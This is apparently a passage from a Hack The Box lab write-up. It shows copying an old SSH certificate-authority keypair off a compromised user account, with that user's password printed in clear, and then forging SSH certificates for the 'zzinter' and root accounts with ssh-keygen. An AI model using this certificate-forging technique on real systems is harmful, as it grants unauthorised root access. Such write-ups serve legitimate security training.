Certificates
msainristil@itrc:~$ ll
total 44K
4.0K drwxr-xr-x 1 msainristil msainristil 4.0K Aug 4 18:31 decommission_old_ca
8.0K drwx------ 1 msainristil msainristil 4.0K Aug 4 16:46 .
4.0K -rw------- 1 msainristil msainristil 1.4K Aug 4 16:46 .viminfo
4.0K drwx------ 2 msainristil msainristil 4.0K Aug 4 15:49 .ssh
0 lrwxrwxrwx 1 root root 9 Jul 23 14:22 .bash_history -> /dev/null
8.0K drwxr-xr-x 1 root root 4.0K Jul 23 14:22 ..
4.0K -rw-r--r-- 1 msainristil msainristil 220 Mar 29 19:40 .bash_logout
4.0K -rw-r--r-- 1 msainristil msainristil 3.5K Mar 29 19:40 .bashrc
4.0K -rw-r--r-- 1 msainristil msainristil 807 Mar 29 19:40 .profile
Upon gaining the lateral movement to the msainristil
user via SSH, I found an interesting directory in the home directory of the user
┌──(kali㉿kali)-[~/…/htb/labs/resource/certificates]
└─$ scp -r msainristil@$IP:~/decommission_old_ca .
msainristil@10.10.11.27's password: 82yards2closeit
ca-itrc.pub 100% 572 13.9KB/s 00:00
ca-itrc 100% 2602 60.8KB/s 00:00
Transferring those to Kali
decommission_old_ca
┌──(kali㉿kali)-[~/…/htb/labs/resource/certificates]
└─$ ll decommission_old_ca
total 28K
4.0K drwxr-xr-x 3 kali kali 4.0K Aug 4 20:39 ..
4.0K drwxr-xr-x 2 kali kali 4.0K Aug 4 20:39 .
4.0K -rw------- 1 kali kali 2.6K Aug 4 20:39 ca-itrc
4.0K -rw-r--r-- 1 kali kali 572 Aug 4 20:39 ca-itrc.pub
The decommision_old_ca
directory appears to contain a keypair for CA
This must be what was mentioned in the messages
Key Signing for zzinter
┌──(kali㉿kali)-[~/…/htb/labs/resource/decommission_old_ca]
└─$ ssh-keygen -s ca-itrc -I zzinter -n zzinter ca-itrc
Signed user key ca-itrc-cert.pub: id "zzinter" serial 0 for zzinter valid forever
I can used the private key of the CA to sign the zzinter
user
┌──(kali㉿kali)-[~/…/htb/labs/resource/decommission_old_ca]
└─$ ll
total 20K
4.0K drwxr-xr-x 2 kali kali 4.0K Aug 4 22:01 .
4.0K -rw-r--r-- 1 kali kali 2.0K Aug 4 22:01 ca-itrc-cert.pub
4.0K drwxr-xr-x 5 kali kali 4.0K Aug 4 22:00 ..
4.0K -rw------- 1 kali kali 2.6K Aug 4 20:39 ca-itrc
4.0K -rw-r--r-- 1 kali kali 572 Aug 4 20:39 ca-itrc.pub
┌──(kali㉿kali)-[~/…/htb/labs/resource/decommission_old_ca]
└─$ mv ca-itrc-cert.pub zzinter-itrc-cert.pub
It generated the public key file; ca-itrc-cert.pub
I can then use these to authenticate to the target system
Key Signing for root
┌──(kali㉿kali)-[~/…/htb/labs/resource/decommission_old_ca]
└─$ ssh-keygen -s ca-itrc -I root -n root ca-itrc
Signed user key ca-itrc-cert.pub: id "root" serial 0 for root valid forever
I also can used the private key of the CA to sign the root
account as CA is essentially root
┌──(kali㉿kali)-[~/…/htb/labs/resource/decommission_old_ca]
└─$ mv ca-itrc-cert.pub root-itrc-cert.pub
I also renamed it to be more distinguishable I can then use these to authenticate to the target system